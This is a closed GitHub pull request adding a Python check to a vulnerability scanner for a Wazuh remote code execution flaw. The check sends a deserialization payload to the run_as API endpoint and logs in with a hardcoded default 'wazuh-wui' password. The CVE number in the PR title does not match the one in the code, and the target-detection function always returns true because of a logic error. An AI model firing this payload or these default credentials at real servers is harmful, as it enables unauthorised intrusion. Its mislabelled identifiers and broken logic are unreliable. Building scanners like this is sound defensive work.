generated from Ostorlab/template_agent
-
Notifications
You must be signed in to change notification settings - Fork 5
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add Detection for CVE-2025-53704 #181
Closed
+84
−0
Closed
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,84 @@ | ||
"""Agent Asteroid implementation for CVE-2024-53704""" | ||
|
||
import base64 | ||
import datetime | ||
import logging | ||
|
||
from requests import exceptions as requests_exceptions | ||
|
||
from agent import definitions | ||
from agent import exploits_registry | ||
from agent.exploits import webexploit | ||
|
||
VULNERABILITY_TITLE = "Wazuh Remote Code Execution (RCE)" | ||
VULNERABILITY_REFERENCE = "CVE-2024-53704" | ||
VULNERABILITY_DESCRIPTION = """ | ||
A remote code execution (RCE) vulnerability in Wazuh allows remote attackers with API access | ||
(compromised dashboard, Wazuh servers in the cluster, or certain configurations with compromised agents) | ||
to execute arbitrary code on the server due to unsafe deserialization in the `wazuh-manager` package. | ||
""" | ||
RISK_RATING = "CRITICAL" | ||
DEFAULT_TIMEOUT = datetime.timedelta(seconds=10) | ||
WAZUH_API_ENDPOINT = "/security/user/authenticate/run_as" | ||
WAZUH_INDICATOR = "<title>Wazuh</title>" | ||
WAZUH_VERSION_INDICATOR = "wazuhVersion" | ||
|
||
|
||
@exploits_registry.register | ||
class WazuhRCEExploit(webexploit.WebExploit): | ||
""" | ||
CVE-2024-53704: Wazuh Remote Code Execution (RCE) | ||
""" | ||
|
||
metadata = definitions.VulnerabilityMetadata( | ||
title=VULNERABILITY_TITLE, | ||
description=VULNERABILITY_DESCRIPTION, | ||
reference=VULNERABILITY_REFERENCE, | ||
risk_rating=RISK_RATING, | ||
) | ||
|
||
def accept(self, target: definitions.Target) -> bool: | ||
""" | ||
Check if the target appears to be a Wazuh server. | ||
""" | ||
try: | ||
response = self.session.get( | ||
f"{target.origin}", verify=False, timeout=DEFAULT_TIMEOUT.seconds | ||
) | ||
return WAZUH_INDICATOR or WAZUH_VERSION_INDICATOR in response.text | ||
except requests_exceptions.RequestException: | ||
return False | ||
|
||
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: | ||
""" | ||
Exploit the unsafe deserialization vulnerability in Wazuh. | ||
""" | ||
vulnerabilities: list[definitions.Vulnerability] = [] | ||
|
||
headers = { | ||
"Authorization": "Basic " | ||
+ base64.b64encode(b"wazuh-wui:MyS3cr37P450r.*-").decode(), | ||
"Content-Type": "application/json", | ||
} | ||
|
||
payload = {"__unhandled_exc__": {"__class__": "exit", "__args__": []}} | ||
|
||
try: | ||
response = self.session.post( | ||
f"{target.origin}{WAZUH_API_ENDPOINT}", | ||
headers=headers, | ||
json=payload, | ||
verify=False, | ||
timeout=DEFAULT_TIMEOUT.seconds, | ||
) | ||
|
||
if response.status_code == 200: | ||
logging.info( | ||
"Potential RCE vulnerability detected on %s", target.origin | ||
) | ||
vuln = self._create_vulnerability(target) | ||
vulnerabilities.append(vuln) | ||
except requests_exceptions.RequestException as e: | ||
logging.error("Error while exploiting Wazuh RCE: %s", e) | ||
|
||
return vulnerabilities |
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think you should add the location to the reported vuln, (consult @elyousfi5 's PR)